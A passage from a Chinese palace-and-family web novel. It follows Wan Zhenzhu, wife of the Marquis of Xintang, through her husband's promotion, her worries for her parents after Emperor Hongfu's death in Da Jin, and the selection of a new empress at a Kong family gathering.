彼时,太上皇一方的人,甭管是将,还是兵,只要让帝王瞅着不顺心的。 承顺帝都是让其过一遍大筛选,能过的,那就过呗。 不能过的,不干净的,甭管官职大小,应该抄家的抄家,应该流放的流放。 至于说应该砍脑袋的,承顺帝也不会手软。 把太上皇的势力拆得七七八八,承顺帝心头更踏实。 睡皇宫里,也不会担忧了像中宫皇后一样,那是没了儿子,失了小命。 等着承顺帝的御驾到了太上皇的寝宫。 太医们已经在会诊。见此,承顺帝受了太医们的见礼。 摆摆手,示意一番。让太医应该赶紧治好了太上皇,那就努力治好。 至于治不好? 这一个答案暂时没在承顺帝的脑海里。承顺帝可知道的,他父皇的身子骨不错。 于是等着太医讲,太上皇不好了时。 这不是小小的不好,而是大大的小好。一旦没过这一道坎。 太上皇,那就太容易凉凉了。 宫里宫外。 临近年节时,宫外,新唐侯府。 哪怕是万珍珠这般的女眷,也是知道了宫廷里的太上皇不好了。 万珍珠得沉默。她不知道太上皇不好了,这是意外,还是人为,又或者着寿数的大限到了? 万珍珠只是新唐侯夫人,有些事情,她不知道的。 万珍珠知道的,那是等啊等。 一直没等到了宫廷内苑的召见。二妹妹马小莲只给宫外赐了礼。 见人? 这真没见了亲人谁。 可谓是一视同仁,大家伙一样的待遇。 对此,万珍珠这一边就听到了二弟妹沈氏的叨叨。 “嫂嫂不知,夫君多担忧了二妹妹。哪料想,二妹妹不想招了事非,如今瞧着,很低调的为人做事。” 沈氏心里,其时很满意了二妹妹马小莲的举动。 低调些,在沈氏眼中,那是没坏处的。 “二妹妹在宫廷内苑,那地儿最养尊贵人。二妹妹如此做法,必有她的道理。” 万珍珠的嘴里,肯定不会说了马小莲的不好。 万珍珠只会说了马小莲的好。 借着吉言,万珍珠是真盼马小莲越来越好。 说一说马小莲的事情。尔后,沈氏等人的话又转移。 那说一说育儿经。 对于讲小娃娃嘛,那如何可爱等等,万珍珠有心得啊。 于是万珍珠也凑趣,大家伙都聊得开开心心。 就是这般开心时,万嬷嬷来禀话。 新唐侯府收到了镐京都的年礼。这当然是万珍珠的爹娘给备的。 千里万里之外,一路山山水水,行来不易。 万珍珠得着年礼,她心头暖暖。 同时,也是请了在场的弟妹们,那是一起分一分年货。 毕竟万珍珠的爹娘备年礼,可不会只备了万珍珠一家三口。 关于赵济世的结义兄弟们的亲眷,一年的年节下,这等大节庆时。 万珍珠的爹娘也是一一会送贺礼的。 一年一次,算是一番心意了。再算上太遥远的路程。 更可谓是心意难得。 第84章 万珍珠是新唐侯夫人,如今一回燕京都,在跟各位弟妹们凑一起。 彼此多来往后,万珍珠也是听着一些小道流言。 当然,多数时候,听着的一定是好话。不过,还是知道一些蛐蛐她的事情。 那些嘛,可能让人不愉快的话,只要没当面。 万珍珠全当不知道。 谁人人前不说人,谁人背后无人说? 只要自己不在意,那些小道流言就伤不了人。 万珍珠觉得自己脸皮厚,不介意一点闲言碎语。 更何况,人都不敢当面蛐蛐她。只说能,那一定立于她的下面,一旦当她面惹事,肯定顺脚就能被她踩一踩。 如此,何必呢。万珍珠不在意了。 可有人在意的,至于各位弟妹们还是替嫂嫂抱委屈。 同时,万珍珠也是知道弟妹们替她张扬过。 那是遇上了蛐蛐多嘴之人,也是教训过几回。 这等好弟妹,万珍珠遇着就欢喜。她真想说,这样的弟妹再多来一打。 大赵朝,燕京都。 承顺元年,热闹过去。真的挺热闹,太多的官宦人家被抄了。 户部有收入,皇家内库有收入,于是天子一挥手。 太多人得了天子恩赏。 新唐侯赵济世是天子的心腹,如今,自然也是得了恩赏。 一开年,承顺二年。 一开春,万珍珠就遇上大喜事。不,应该说新唐侯府遇上大喜事。 “恭喜夫君,贺喜夫君。”万珍珠当着诸人面时,她向丈夫见礼贺喜。 如今嘛,夫妻二人有孩子。再唤什么“济世哥哥”,真肉麻了。 也是夫妻二人困觉时,单独唤一唤,那是闺中乐趣。 当着外人面,万珍珠要脸。于是唤了一声“夫君”。 赵济世笑道:“夫人贺喜,喜从何来?” “夫君还当我面,瞒了我不成?”万珍珠在夫君赵济世伸手搀扶她时,她顺势就是立于夫君身畔。 “我可听着喜讯,夫君升官了,如今是兵部尚书。” 对于堂堂六部尚书之一,这等高官得坐。 万珍珠岂能不欢喜。这丈夫高位,儿子将来能啃亲爹啊。 “我当哪一桩喜事?原来如此。”赵济世畅快笑了。 “这喜事,确实应该大喜。”赵济世握一握妻子的手。 “说起来我的升迁,也有夫人的一份功劳。”赵济世牵着万珍珠的手,二人进了花厅里。 赵济世仔细的讲一讲,这升迁一事,妻子助力在哪。 赵济世感慨一回,道:“夫人在家,忙碌家业。我得升迁,乃是陛下恩赏。同时,也是我平日广结善缘。” “能结善缘,银钱开道。府上的银钱,全是夫人操持,夫人辛苦了。”赵济世拢着万珍珠坐一处。 这会儿的赵济世从袖中拿出一个小匣子。 小小的匣子,一打开,里面是一块玉。 “这是暖玉,最是养身。”赵济世亲自动手给妻子戴好。 万珍珠得着暖玉,自然不拒绝了。 “……”此时的赵济世挥挥手,挥退了屋中的丫鬟婆子。 夫妻二人独处,赵济世凑的更近。他的唇畔似乎吹了热风,打在了万珍珠的耳根处。 万珍珠觉得 暖暖的,痒痒的,于是她的耳根子发烫了。 此刻,赵济世瞧着笑颜如花的妻子,他轻轻的落了一吻。 “珍珠妹妹,真美。” “这还青天白日呢,济世哥哥……” 万珍珠轻轻推一推对方,当然,没甚用力。 “我知,这是青天白日。今晚,再与珍珠妹妹多番计较。” “……”万珍珠听罢,轻声的笑了。 就在夫妻二人闹一闹,还是来一趟闺中乐谈时。 “啊,啊……”明明睡着了的安康醒来,他啊呀的喊了婴儿语。 于是万珍珠和夫君二人的互动,这一刻得缓一缓。 毕竟安康这一个小婴儿可是一个闹腾与霸道的性子。 没人理他,他可要一直“啊啊”的说了婴儿语。 “安康醒了。”万珍珠笑道。 “这孩子醒的不是时候,这不,打扰了他的爹娘亲亲热热。”赵济世讲道。 “我还盼着,等来年,就给安康添一个弟弟或妹妹呢。” 赵济世的一双眸子里是带满了笑意。 哪怕亲亲热热的夫妻互动被打扰。可瞧着打扰之辈,那是好大儿。 赵济世的一腔父爱,那又想洒到好大儿的身上。 大晋朝,洪福十九年。 春,镐京都,皇宫,昭阳宫。 李皇后收着家书,知道了燕京都的近况。同时,还知道了使节团的归来。 与使节团一同而来的,还有李皇后的侄女。 被大赵天子承顺帝封为和贞公主的侄女。一位侄女在李皇后的心里,这便是未来的太子妃。 想她坐皇后,侄女做太子妃。对于李皇后而言,这心底真踏实。 “真盼着和贞早些到镐京都。”李皇后感慨一回。 “皇后娘娘放心,和贞公主殿下一定很快到来的。往后,皇后娘娘跟前有娘家人,必能更加得心顺意。”陪嫁李嬷嬷捡着好话讲。 这些话让李皇后很开心。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝对于使节团的归来,一切皆在帝王的掌控之中。 只是这些掌控之外,帝王亦是凡人。 这不,因着冬日重病一场过,洪福帝瘦了。 如今瘦的,过于消瘦。 万忠良是忠仆,自然是多番使力。让太医院多尽心。 可帝王的根基坏了,太医治不得天下病。不是什么病,太医都有辙的。 “陛下,您多歇歇吧。”万忠良向帝王劝话。 “朕已经歇息的够多了。”洪福帝感慨一回。 在洪福帝心里,在他真正的歇息前,或者说在他驾崩前。 应该替皇儿准备的后手,帝王得一一落子到位。 大晋朝,春,洪福帝册立太子,册立太子妃。 此,大晋的东宫迎来了二位小主人。 万忠良瞧着这一切,也得着帝王给的一些好处。 万忠良默默的瞧着。 当然,给了女儿的家书里。万忠良也有一些提点。 大赵朝,燕京都,新唐侯府。 万珍珠在夫君赵济世下差后,一家三口用过晚饭。 尔后,消消食。 不,更准备的说法是当爹当娘的万珍珠夫妻一起哄一哄小儿安康。 等着安康睡了。 万珍珠与丈夫一起回了寝屋。先是沐浴一番,二人洗一洗鸳鸯浴。 待得心情好了,也是沐浴好后。换了新衣裳。 夫妻二人回了寝屋内。 打发走侍候的丫鬟婆子,万珍珠与夫君安心的谈一谈话。 这会儿二人的精神还不错。赵济世说一说衙门里的一些事。 万珍珠仔细听一听。 “济世哥哥,爹娘寄来家书,你也瞧过,你是什么想法?” 万珍珠问道。 “爹的担忧是对的。”赵济世赞同岳丈大人的想法。 “一朝天子一朝臣。有些事,晚做不如早做。早早安排,更捡便宜。”赵济世讲了他的态度。 “我知了。”万珍珠依偎在丈夫怀中。 “其时,我跟爹爹的想法是一样的。”万珍珠说了她的打算。 洪福帝在准备后手。这等时候,万忠良想替女儿女婿多谋福利。 遇上这等好事,还能挖一挖墙角,万珍珠当然拒绝不了的。 “只我还有一桩心事。”万珍珠对丈夫讲道:“我想劝了爹爹,既然爹爹和济世哥哥一样的看法。一朝天子一朝臣。” “那么,大晋有了新天子。不妨请爹爹和娘,他二老一起来了燕京都。往后,也让我这做女儿的好孝顺了爹娘。” 万珍珠伸手,用指着在丈夫的手心里挠一挠。 “济世哥哥,你觉得呢?这样好不好,让爹娘来了燕京都,让他二老也是享受了逗孙儿的天伦之乐。” 万珍珠夹了一下嗓子,装了可爱的问道。 听着嗓音变了的妻子,赵济世听着觉得嘛,反而挺可爱的。 “当然好。”赵济世给了自己的态度。 “我从来盼着爹娘来燕京都。家有一老,如有一宝。家里多了长辈,也是让我少吃一些亏欠。” 赵济世笑道。笑罢,他揽了妻子在怀中,还是吹一吹对方的耳根子处。 赵济世可知道,多只一吹耳旁风。让妻子是脸红红,耳根子红红。 彼此是夫妻,孩子都生了。 哪儿是对方的痒痒肉,二人都是清楚的很。 大晋朝,镐京都,皇宫,泰和宫。 夏日,万忠良在职房歇息。 万忠良这会儿心里想着事情。算一算日子,万忠良知道的。 他家闺女的生辰就在明日。 若一家人皆在镐京都,明日一定热热闹闹。 可惜,闺女嫁得太远。 不过,明日的万忠良也不想当职,还准备告假一回。 万忠良准备明天回了公主府,他回去陪一陪妻子牛二囡。 就在万忠良走神时,“叩叩”的敲门声响起。 “干爹。”屋外响起来让万忠良熟悉的声音。 “进来。”万忠良吩咐一声。 屋门被推开。万忠良的干儿子神色着急。 “干爹,陛下出事儿了。” 干儿子一进屋,就喊了让万忠良神色大变的话。 “快说。”万忠良简单二字。 “陛下歇在云昭仪的寝宫。前头还好好的。这不,一刻钟前,陛下突然晕厥过去。” 万忠良的耳畔,就听着干儿子的这一番话。 万忠良没跟着帝王,那是帝王的意思。 洪福帝就想在云昭仪那里歇一歇。至于万忠良这一边。 他这一位大伴如今也忙碌了宫廷里的一些事宜。 至于贴身侍候帝王的事? 万忠良本着肥水不落外人田。多数时候,当然是万忠良本人守了帝王跟前。 可到了轮值的时候,也是换了人。换了目前让洪福帝觉得还算得用的李太监。 李太监嘛,姓李,名德。 李德,这一人也算是帝王跟前的旧人。就是往常不起眼。 如今一朝被帝王点中,当然就是平步青云。 “赶紧,随咱走一遭。”这等时候的万忠良赶紧往云昭仪住的寝宫去。 万忠良到时,太医未至,皇后未至。 不过,万忠良已经寻过问,太医已经差人请了。昭阳宫的皇后那儿,一定禀了消息去。 等万忠良进了 寝宫内。万忠良瞧过晕厥的帝王。 这时候的万忠良心乱如麻。 太医来得快,李皇后来得也快。只比万忠良晚一点点的时间。 等太医一至,赶紧给帝王诊脉。 其时说来说去,洪福帝就是老毛病。不是旁的,不过是底子差了。 如今天一热,再是用了冰。寒与热之间,一来一回,这不,伏不住气温的变化。 晕厥,病了。 这便是底子差的表现。 云昭仪被李皇后罚了。甭管云昭仪是不是觉得委屈。 洪福帝在云昭仪的寝宫出事。 有事没事,让云昭仪摊上了,那就是得认栽。 有太医的诊治,一上针,一用药。洪福帝很快的醒来。 对于太医的掌令而言,这不是头一回替帝王治病。 来来回回多了,帝王的脉案如何。 做为帝王心腹的太医院掌令的心里是有数的很。 哪怕是万忠良那也是心头有数的。只这时,万忠良心里感伤。 若是可能的话,万忠良是盼着洪福帝长命百岁。 万忠良宁可自己走在帝王的前面,也不想经历了一朝天子一朝臣。 天子心腹,内廷内相。 走到万忠良的位置,一旦没帝王的皇权加持。 那万内相的位置嘛,不会太稳,更会危险的很。 主少则国疑,自古的道理。 这一个道理一点没错,因为,真有事情证明,此乃真相。 年幼的帝王守不住皇权,皇权这东西,一旦旁落。 再想拿回来是千难万难。 不死些人,不流了血,想拿回权利。那纯粹是想得太美。 真是想想,还不如做梦,梦里啥都有。 大赵朝,燕京都,新唐侯府。 万珍珠的生辰日,本没大办的意思。毕竟,大赵还在皇后的国丧期呢。 可自家人吃吃饭,聚一聚,还是挺有必要的。 同时,万珍珠还接到了宫廷内苑的马婕妤赠的生辰礼。 不止如此,各家弟妹们一样的赠了生辰礼。 便是夫君那儿,一样不落下了生辰礼。 对于万珍珠而言,收礼的日子太开心。这收礼嘛,收到心坎上,那是让人欢喜的很。 这一晚,夫妻困觉前。二人相拥。 明明夏日,屋里有冰盆,冰鉴。如此,也算着得了太多凉意。 晚间,风凉。 这会儿的万珍珠被夫君拥着。万珍珠感觉的到。 枕边人像是一个火炉一样,那心火旺的很。 “我跟爹爹和娘寄了家书。可惜,得了生辰礼,也得了家书。爹爹不愿意来燕京都。” 万珍珠很失落的样子。 “娘又讲,夫妻一体。爹爹在哪,她就在哪。” 万珍珠瞧出来了,爹爹和娘有他们的主意。 来女儿这儿养老?这二位没这一份心。至少目前是这般样子。 在家书里,万忠良也是这般告诉女儿的。 他未老,尚能食饭。如今还是拼搏的好时候。 在大晋,万忠良觉得能帮衬着女儿女婿的时候更多。 真到大赵,万忠良就成了吃饭,闲着,还是闲着的过日子。 真是闲着,万忠良觉得退休的生活再缓一缓,再等一等。 爹娘那一边得着不想要的答案。想着不能聚一聚。 一家人不能常见面,最主要还是瞧着亲爹也有大干一场的一点暗示。 万珍珠替亲爹担忧一番。 不止担忧了亲爹,也是念叨了亲娘。这不,万珍珠忍不住叨叨了枕边人。 “爹的年岁,也是好时候。真想奋斗一番,哪时候都不是晚。” 赵济世是站了岳丈大人这一边。 同是有上进心的人,赵济世太能理解了老岳丈大人。 真是舍了手中的权利,一心养老? 这不是赵济世喜欢的日子,赵济世相信,堂过权利滋味的老岳丈,那肯定跟女婿一样。 二人一对翁婿,一样是想掌了权利,掌了人生主宰。 没谁想着靠谁,因为权利在手,才有威风赫赫。 “罢了,济世哥哥你说的也有道理。”万珍珠能怎么办。 万珍珠离着镐京都太远了。说不动爹娘,那就只能随了爹娘的心意。 只夏日一过,刚入秋时。 万珍珠在盘算了,这好大儿的周岁宴如何大办。 尔后,万珍珠还没有接到家书。万珍珠就从夫君那儿得着新消息。 “大晋天子,洪福帝驾崩了。”赵济世跟万珍珠讲道。 “……”万珍珠知道了西边的这一个大消息时。 万珍珠愣在当场。 “一朝天子一朝臣……” 万珍珠呢喃几字。 在心头,万珍珠是真的担忧了爹娘。镐京都一旦换了新天子。 这权利的平衡肯定有变动。到时候爹娘在大风暴里,又会如何? 万珍珠在燕京都里,她担忧的很。 于是万珍珠跟下面人发了话,让自己线上的人关注了镐京都的一切。 有些暗线,万珍珠跟夫君商量一番。也准备动一动。 万一,镐京都有什么事情。 万珍珠只想保护了爹娘。旁的,其时都不重要。 “珍珠妹妹放心,岳丈大人,岳母大人,二老那一边我留在镐京都的暗线一定会盯紧的。” 赵济世握了妻子的手,详细的解释一番。 在镐京都,赵济世有留着暗线。 那些暗线不多,人都真不多。赵济世是本着求精,而不贪大。 谁让镐京都是大晋的地盘。赵济世只是大赵的臣子。 在大晋,赵济世还得识趣一些的。 这会儿的赵济世宽慰了妻子。也是让万珍珠的心情缓一缓。 只在心里,万珍珠拿定了主意。 若是可能,再写家书,再是劝一劝爹娘吧。 一家人聚一聚,那比什么都强。 万珍珠相信,只要亲爹保持了理智,应该不会吃了大亏吧? 大晋,镐京都,皇宫。 如今的新君已经登基。李皇后,不,如今是李太后。 至于皇后,那是小李皇后,这是李太后的亲侄女。 小李皇后,李和贞,这一位去年被册立为太子妃。 一眨眼,不过八岁的女童。 八岁皇后,太过年幼。如今的皇宫里,李太后是一家独大。 万忠良如今就是李太后手里的支点。有些事情,李太后是需要跟万忠合作的。 最主要还是新帝,这一位圈了年号同福的皇帝。 同福帝,这一位帝王太小了。 至于这一个年号嘛,说是帝王圈的,不如,那是李太后点中的。 同福,与谁一同享大富大贵?这对于李太后而言,那是一个很重要的问题。 大晋,镐京都,荣恩公府。 原来的荣恩伯府,一朝同福帝上位。那当然是母族加恩。 说是帝王加恩,也是李太后点头。 李太后在跟帝王的母族示好。荣恩公府的想法吗? 那就挺复杂的。 荣恩公,这一位天子的舅父。 至于天子的外祖父,那是不在人世了。于是舅父嘛,那也是天子的血脉至亲。 “陛下登基,荣恩公府受了天家恩典。天恩浩荡。”王国舅,这一位荣恩公的嘴里说着好话。 可在心底,王国舅的真心想法,那就是对于李太后有不满的。 因为在朝堂上,李太后在拉架。 甭管是王国舅,还是那一位简亲王,他二人之间有矛盾。 一位外戚,一位宗亲,二人都是洪福帝留下来的顾命大臣。 李太后垂帘听政吗? 不需要的。 因为有先帝的旨意,李太后是光明正大的挟天子命百官。 荣恩公王国舅的眼中,李太后太招摇了。 可比起李太后,简亲王更让王国舅不爽利的很。 权利这东西,一旦沾了。那就会想着权越大越好。 王国舅也一样。 这一位荣恩公的想法,那就是扶持了帝王。 至少,国舅爷的态度是如此的。 大招牌嘛,一定是捧了帝王在上面的。 对于王国舅的一些举动,自然是落入了有心人的眼中。 内城,浑 江公主府。 牛二囡在夫君一回府后,她就讲道:“夫君,珍珠又寄家书,又写了安康的诸事。我啊,听罢,也是念了孙儿。” 对于牛二囡而言,孙儿安康不在跟前,她太想了。 哪怕家书里,不止有女儿的文字,还有画像。 那是闺女动手,用的特殊法子。瞧着那画像,那太像了。 至少落在牛二囡的眼中,那一笔一画,那一个福娃娃一样讨人欢喜的小孩儿。 那是自己的孙儿。 牛二囡就唤了一声好孙儿。虽然在礼法上,这是外孙。 可心头,在牛二囡心底,这便是血脉相连的亲辈小辈。外孙也罢,孙儿也罢。 这等小辈,牛二囡太挂念了。毕竟,这小孩儿长在了牛二囡这一个长辈的心窝窝上。 第85章 国孝过了,大赵朝的燕京都又是热闹起来。 在这等情况下,万珍珠很忙碌。因为她得参加了燕京都的更多人情往来。 像是忠顺男要大婚,要尚贞静公主。又或者是崔八姑娘要成婚,要嫁给常二公子等等。 这等喜事,可能是积攒了太久的原由。总之,桩桩件件,多的很呢。 在这等情况下,万珍珠给镐京都的爹娘写了很多家书。 连着往镐京都送去。万珍珠就一个念想,磨着爹娘心意改变。 对于镐京都的新君上位,万珍珠也听着一点风声。 不,应该说是收了亲爹的第一封回信。 “同福。”万珍珠阅读过家书后,对于来年,承顺三年,同福元年,那一位新君的年号,倒是颇有感想。 这一个同福的念号,万珍珠听着,可不怎么美妙。 与谁同福? 镐京都能做主的太多,蛇无头不行。朝廷之上,头太多,更不行。 至少在万珍珠的眼中,大晋的少年天子太年幼了。 这一位天子压不住阵角。 皇权一衰弱,围绕皇权而生的太监等等宫人,那日子也会难过起来的。 万珍珠担忧爹娘安危。 “夫人在想什么?”万珍珠拿着书信发呆时。 夫君赵济世的声音响起来。 万珍珠一抬头,她就瞧见了夫君的脸庞近在咫尺。 “夫君回来了。”万珍珠扬起笑容。 “我收到家书,再想着镐京都的近况会如何。”万珍珠说了自己的忧思。 “镐京都那一边我会差人多盯紧。若有法子,夫人不妨多去家书,还是劝了岳丈大人回心转意最好。” 赵济世有心帮衬。 问题在于岳丈大人的心意如何。岳丈大人家的心意不变。 那么,赵济世想帮衬上,也不过是敲一敲边鼓。落子了大局而言,杯水熄火,于事无补。 “我已经寄了三封家书。目前尚得爹娘一封家书回信。后续,我也想磨着爹娘同意来了燕京都。” 万珍珠的心意一样不曾改变的。 做为闺女,万珍珠是想替爹娘养老的。 至于留了镐京都? 一朝天子一朝臣,如今镐京都天子都变了,天变了啊。 大赵朝,忠顺男的爵府里。 蓝诚在听着管事讲了诸事宜。忠顺男的府邸跟贞静公主的公主府挨着的。 可谓是方便了贞静公主的往后生活。 对此,蓝诚是满意的。 或者说来了镐京都后,蓝诚心头欢喜。哪一个儿郎都爱权。 沾了权这一个字,那滋味太甘美。至少蓝诚心醉了。 介于此,蓝诚跟新唐侯的距离不但没拉远,相反,二人还凑得更近些。 蓝诚在禁军里,他还想做一点正事,那让承顺帝瞧见他的功劳。 于此,赵济世在里面能帮衬上的,那从来不虚言。 赵济世这人,从来说话办事,一口唾沫一个钉。 答应的,赵济世一定办到。 至于办不到的?赵济世也是一个会说话的,那肯定是想法子。 再是掺合一二,给人寻了新路子。 反正把路走绝这等事情,赵济世从来不干的。 宁国公府。 常二公子成婚前,这一位也是收到了忠顺男的喜事请贴。 常二公子在燕京都的名声比不得兄长常世子。 常世子如今在官场也得意。常二公子不混官场,只在纨绔圈子里有一二名声。 问常二公子的心头打算? 不外乎成婚后,再是走一走官场。凭他的出身,真想进官场,易如掌间小事。 “贞静公主大婚,倒是大事。”常二公子又瞧了一回忠顺男爵府的请贴,淡然讲话。 这事情他当然记在心上。 免不得去做客时,还要邀请了何二公子一起。 如今的常二公子跟何二公子走得近。哪怕二人的父亲貌似有一点不对付的样子。 可对于小辈而言,二人还是物以类聚,人以群分。 大赵朝,燕京都,皇宫,泰和宫。 大赵天子承顺帝李明弘搁下了奏本,尔后,这一位帝王拿起了一个花名册。 轻轻阅览一番,帝王合上花名册。这是暗卫禀上来的消息。 对于承顺帝而言,朝中臣子在国孝后,一一上奏本请立中宫。 对此,承顺帝收了奏本,尔后,默不作声。 见帝王这般态度,于是请立中宫的奏本更多了。 承顺帝的后宫,子嗣不多。 对于承顺帝而言,他需要中宫皇后。只是在册立中宫皇后一事上,承顺帝考量的很多。 谁是合适的中宫人选? 在后宫里简拔旧人?承顺帝挑来挑去,不甚满意。 既然宫廷内苑里没有合适的人选。那么,帝王的目光就落在了诸世家名媛的身上。 暗卫在帝王圈的名录上,那是一一观察。 有了近日的详细查看,帝王对于未来的中宫人选,那自然是做到了心头有数。 “孔氏……” 对于孔氏的名声,承顺帝太有耳闻。这等千年世族,扎根很深的。 孔氏不止名声大,其盘根错节,倒也是枝叶漫漫。 “全大伴。”承顺帝唤了心腹太监。 全公公一听帝王唤话,躬身听旨。这时候的承顺帝神色严肃。 承顺帝开口便讲道:“东南孔氏,世家世族。礼部尚书孔爱卿的嫡次女,系出名门,朕心悦之。” “着,全大伴去钦天监去传旨。替朕合了孔门女的生辰八字。若大吉,朕要册立孔爱卿的爱女为中宫。” 承顺帝拿定主意,便是让心腹太监去办事。 “唯。”全公公赶紧应话。 对于全公公而言,一旦册立中宫,这可是天大的事情。 大赵朝,燕京都,内城,孔府。 孔家在办聚会,万珍珠是参加聚会的一人。 流水为席,曲曲水水,听歌悦耳,乐器奏鸣。 在这等雅席上,万珍珠不算出挑的一人。毕竟燕京都这等地方,最不缺的就是诰命夫人。 万珍珠的身边,这一日没有诸位弟妹们的同行。 孔府的门第够高,万珍珠的诸位弟妹的敕命不够。 一时半会儿的,还没进了孔府的小圈子里。 在这儿,对于万珍珠而言,最熟悉的反而是崔八姑娘、崔九姑娘这一对姐妹。 “侯夫人万福。” “八姑娘、九姑娘客气。” 万珍珠遇上崔氏姐妹,也是客客气气的述一述旧。 明明夏过,将将初秋。 这会儿崔八姑娘笑意盈盈,请万珍珠一道赏秋菊。 万珍珠当然不会拒绝。 “难得,在这等聚会上还遇着八姑娘。”万珍珠笑道:“前个儿,我还听弟妹讲,说八姑娘一直忙碌着,近些时日少有出门呢。” “姐姐确实忙碌,可在绣了嫁衣。若非得了孔四姑娘的邀请。旁人请约,姐姐必是不乐意出门做客的。” 崔九姑娘的嘴里,这是特意的点一点孔四姑娘的不同。 “想必孔四姑娘跟八姑娘、九姑娘交情甚笃。”万珍珠笑一笑,也能理解。 手帕交嘛,闺中之事,当是如此。 三人闲谈片刻,崔九姑娘瞧着曲水流殇的席面上,这会儿的曲子甚是太平乐章。 她甚不喜,就顺嘴邀请了万珍珠一回,问着,说道:“这会儿我和姐姐不想入席。” “我们去菊园逛一逛。孔府的菊完,可是鼎鼎大名。” 崔九姑娘问道:“侯夫人也要一道去赏了秋菊吗?” “去,自然要去。”有人相邀,万珍珠不拒绝。 万珍珠也想走一走,去瞧一瞧鼎鼎大名的菊园。 一行人往菊园去。 秋日盛开,各色菊花。大大小小,特点不同。 美景处处,落入眼眸中时,真的惊艳了万珍珠。 一阵香风飘过,鼻间更是闻着淡淡菊香。 花美,花香。甚是迷人,也是让万珍珠一时沉醉三分。 当然,万珍珠很清楚了。在这等世道里,这等美景全是花银子堆出来的。 可这景致太美了。让人望之,便是沉沦。 一路上,崔九姑 娘倒是成了万珍珠的导游。 这一位很有兴致,一一给万珍珠介绍了每一种菊花的来历。 细细一数,端是让万珍珠涨一涨见识。对于如何当一个聆听者,万珍珠还是有经验。 这不,让当导游的崔九姑娘,那是当得美滋滋,心情甚不错。 崔八姑娘瞧着妹妹开心,也是细细听着,不多插嘴。 这一场游菊园,当真是游的开开心心。 而就是这一场聚会,那是宾主尽欢时。做为东道主的孔四姑娘也是露脸了。 那会儿的孔四姑娘还是当了主持者。请众位女郎不妨一试。 试什么? 当然是闺中之趣。如赋诗,如绘画等等。 不说比试一二,而是切磋一二,算是以技艺会一会朋友。 万珍珠就当一个带眼睛和耳朵的客人。比试什么的? 她一个成婚的女眷,那便是不参与的。 倒是崔九姑娘有兴致,还是上场一张画艺。 便是在一众女郎皆是各展所长后,在孔四姑娘做东道主,也是参与品评时。 孔府丫鬟来报信,孔府得天恩浩荡,天使来降圣旨。 来一趟孔府。万珍珠明明是参加一场聚会。 热闹归热闹。结果,万珍珠成了一场戏中人。 当然,她只是小小不起眼的配角。不,应该说配角都夸张了。 天使来降旨。孔府大摆香案,迎了圣旨。 在孔府内的万珍珠自然知道这圣旨是何意了。 承顺帝点中孔四姑娘做新的中宫皇后。孔府,往后要添一位皇后娘娘。 这等事情太大。 等着天使离开后,一众女客也是告辞时。众人的神色各异。 万珍珠也与熟识的女客一一攀谈一二,再是相互告辞。 当然,最不能得罪的,还数着孔府诸人。 没谁傻。 一旦孔府出了一位中宫皇后,往后,孔府的势力必定大涨威风。 中宫皇后,这位置太不一般了。 从孔府离开,回了新唐侯府。 万珍珠一归家,她便是简单的沐浴一番。尔后,卸了妆容。 这时候的万珍珠只是简约的做了打扮。居家之妆,简简单单。 哪怕心里面装着事情,万珍珠还是先去哄一哄自家的娃娃。 “安康,想不想娘亲啊?”万珍珠抱一抱好大儿。 “娘。”马上要满周岁的娃娃,这喊了一个单字时,那喊得响亮。 “来,娘抱一抱安康。”万珍珠伸手,还是要抱一抱好大儿。 “抱。”安康一个小孩儿,在亲娘跟前凑一凑。跟亲娘一比,他成了一个小矮墩。 可这般小小孩儿,矮矮墩墩,再加上虎头鞋儿。 还有那一身的喜庆装束,谁瞧了,谁都喜爱。 落亲娘眼中,那自然是加倍的更爱了。 “安康想娘了,那就香香。”万珍珠抱一抱好大儿。 抱在怀里,不用掂量,万珍珠就知道好大儿身体倍棒。 毕竟嘛,这份量够够的。 “香。”给亲娘揽怀里,安康跟亲娘是脸蛋儿贴贴。 瞧着自家好大儿的香香,万珍珠开开心心的笑一回。 逗孩子这一等事情,当然得在孩子最可爱的时候好好爱一爱。 真等好大儿大一些,那未必合适了。 就万珍珠知道的,她家的枕边人可是给孩子上了计较。 关于未来嘛,自家的好大儿那是得文武双全。 想一想需要学习的种种,万珍珠替好大儿累一累。 当然,也就是想一想罢了。让万珍珠当了甩手的掌柜。 还是减一减好大儿的学习计较? 万珍珠不会的。 万珍珠可是亲娘,她太懂得,真没本事,还强行上位做官,做爵爷。那不仅是害自己,更是害了身边人。 围绕着新唐侯府,不止是新唐侯府。还有新唐侯府的诸多食饭人。 这是一整个系统的人马。这些人马,如今是赵济世和万珍珠在管辖了。 可将来呢? 这些总要留给自家好大儿的。 不可能好好的家业,不给自家孩子,还给外人的。 没那一回事情。 既然想拿稳了大笔的家业,这不止是钱财,还有权利。 那么,会来事,能来事,真懂事,能办事。这是必需要的。 不锻炼,如何成钢铁? 反正嘛,只要学不会,就往死里学。这里的学,可不是光读书就成。 书呆子,不一定能混好的。 至少在这一个世道活了两辈了,万珍珠瞧得出来。 她的枕边人是双商都高的人物。 教导好大儿这等事情,万珍珠敲一敲边鼓即可。 那给小树修一修的法子与能耐,还是让枕边人去办。 毕竟严父慈母嘛,万珍珠挺想当慈母的。 “娘。”安康在跟亲娘玩小游戏。 亲娘跑,小儿追。我跑,你追。 这等小游戏,不止玩儿,还得有奖励。对于好大儿的奖励嘛。 万珍珠就是奖励了玩具与吃食。毕竟将满周岁的小岁,那辅食多添些,也是逗着孩子吃麻麻香,身体倍棒。 “爹。”在万珍珠跟好大儿玩的开心的时候。 明明捡了一个小彩球的安康停了脚步。 安康的眼神儿一直瞅着亲爹。亲爹一来,安康开开心心。 这小孩儿就想跑一跑,虽然,他会跑,哪怕不太稳。 “啪叽”一下,小安康摔了。 不是头一回摔了。小安康不哭,爬起来,站起来,又往亲爹那儿跑去。 瞧着自家好大儿的举动,赵济世哈哈大笑。 “安康是好儿郎,瞧瞧,这腿脚功夫好。”在赵济世眼中,摔了不哭,既然奔跑的好大儿,那真是好汉胚子。 “爹抱一抱安康。”在安康又小跑时,赵济世几个大步走上前。 在安康又要摔了时,赵济世伸手,一下子抄起孩子抱怀里。 “举,举。” 安康喊道:“高,高。”他的两只小手在倒腾。 “好,爹举高高高。” 赵济世跟好大儿一起举高高,也是玩了小游戏。 这一个小游戏嘛,安康很喜欢。被亲爹抛一抛。 那等飞一般的感觉,对于小孩儿而言太刺激了。 不止小孩儿刺激,在旁观者的眼中,比如慈母万珍珠的眼中,也是够刺激的。 旁人跟好大儿玩这等小游戏,万珍珠必是不允许的。 至于夫君跟好大儿玩了举高高,一个敢抛,一个敢让抛。 